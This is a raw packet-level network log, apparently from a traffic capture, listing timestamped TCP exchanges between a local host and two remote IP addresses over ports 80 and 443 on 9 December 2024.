Dec 9, 2024 18:20:42.034569979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.034610033 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.034651995 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.035269976 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.035317898 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.047564030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.047642946 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.047724962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.047879934 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.047880888 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.047919989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.048243999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.048284054 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.048801899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.048847914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.048932076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.048973083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.049602032 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.049647093 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.049741030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.049778938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.050308943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.050359964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.050487995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.050529957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.051224947 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.051270962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.051353931 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.051397085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.051937103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.051978111 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.052042961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.052083015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.052716970 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.052767992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.052845001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.052886009 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.053759098 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.053807974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.054002047 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.054044962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.055138111 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:42.055150986 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:42.055236101 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:42.055870056 CET	49812	443	192.168.2.6	20.198.118.190
Dec 9, 2024 18:20:42.055882931 CET	443	49812	20.198.118.190	192.168.2.6
Dec 9, 2024 18:20:42.149905920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.269329071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.586528063 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.586580038 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.586762905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.586921930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.586930037 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.587085962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.587129116 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.587479115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.587537050 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.587580919 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.587624073 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.588285923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.588327885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.588387966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.588504076 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.589214087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.589277029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.589333057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.589385986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.589881897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.589927912 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.589966059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.590008974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.590651989 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.590693951 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.590735912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.590775967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.591445923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.591496944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.591639042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.591690063 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.592263937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.592330933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.592403889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.592451096 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.593110085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.593168020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.593204021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.593242884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.593956947 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.594095945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.594108105 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.594151974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.595104933 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.595153093 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.595457077 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.595514059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.596021891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.596071005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.596151114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.596196890 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.596585989 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.596635103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.710813046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.710927010 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.711005926 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.711267948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.711440086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.711492062 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.711527109 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.711570024 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.712084055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.712131023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.712286949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.712330103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.712923050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.712965965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.713012934 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.713058949 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.713818073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.713865042 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.713905096 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.713944912 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.714584112 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.714629889 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.714682102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.714724064 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.715394020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.715439081 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.715512991 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.715563059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.716253042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.716299057 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.716362953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.716408014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.717113972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.717159033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.717211008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.717253923 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.717983007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.718136072 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.718183994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.718806982 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.718959093 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.719002008 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.719625950 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.719666004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.719733953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.719796896 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.720479012 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.720524073 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.720596075 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.720638990 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.721283913 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.721328974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.721462011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.721504927 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.722111940 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.722157001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.722239971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.722282887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.722985029 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.723028898 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.723213911 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.723257065 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.724191904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.724240065 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.724364996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.724410057 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.725030899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.725075006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.725152969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.725195885 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.725832939 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.725878000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.725987911 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.726031065 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.726620913 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.726665974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.726711988 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.726752996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.727341890 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.727387905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.727469921 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.727514982 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.728043079 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.728085041 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.728130102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.728173018 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.728842020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.728902102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.729011059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.729053974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.729676962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.729722977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.729801893 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.729839087 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.835052013 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.835144043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.835165977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.835181952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.835475922 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.835526943 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.835608959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.835655928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.836147070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.836185932 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.836257935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.836304903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.837069035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.837115049 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.837177992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.837266922 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.837996006 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.838043928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.838202000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.838265896 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.838782072 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.838825941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.838869095 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.838908911 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.839602947 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.839647055 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.839703083 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.839749098 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.840198040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.840246916 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.840328932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.840372086 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.841475010 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.841521978 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.841626883 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.841671944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.842268944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.842314005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.842452049 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.842493057 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.843163967 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.843209982 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.843293905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.843342066 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.844120026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.844206095 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.844214916 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.844266891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.844623089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.844671011 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.844782114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.844826937 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.845467091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.845514059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.845546961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.845611095 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.846261978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.846323013 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.846370935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.846421957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.846987009 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.847033024 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.847125053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.847170115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.847733974 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.847778082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.847898960 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.847943068 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.848706961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.848753929 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.848789930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.848834038 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.849683046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.849735975 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.849860907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.849906921 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.850569963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.850620985 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.850667953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.850708961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.851320982 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.851375103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.851418972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.851466894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.852020025 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.852066040 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.852103949 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.852144957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.852760077 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.852807045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.852893114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.852938890 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.853609085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.853653908 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.853744030 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.853786945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.854510069 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.854556084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.854631901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.854667902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.855437994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.855488062 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.855547905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.855613947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.856488943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.856570005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.856627941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.856674910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.959953070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.959976912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.960011005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.960025072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.960444927 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.960575104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.960624933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.961153984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.961240053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.961283922 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.962044001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.962091923 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.962099075 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.962747097 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.962793112 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.962872982 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.963660955 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.963706017 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.963829994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.964437008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.964484930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.964582920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.964628935 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.965277910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.965390921 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.965440035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.966067076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.966197968 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.966245890 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.966968060 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.967031002 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.967142105 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.967715979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.967807055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.967850924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.967978954 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.968019962 CET	49788	80	192.168.2.6	185.215.113.206
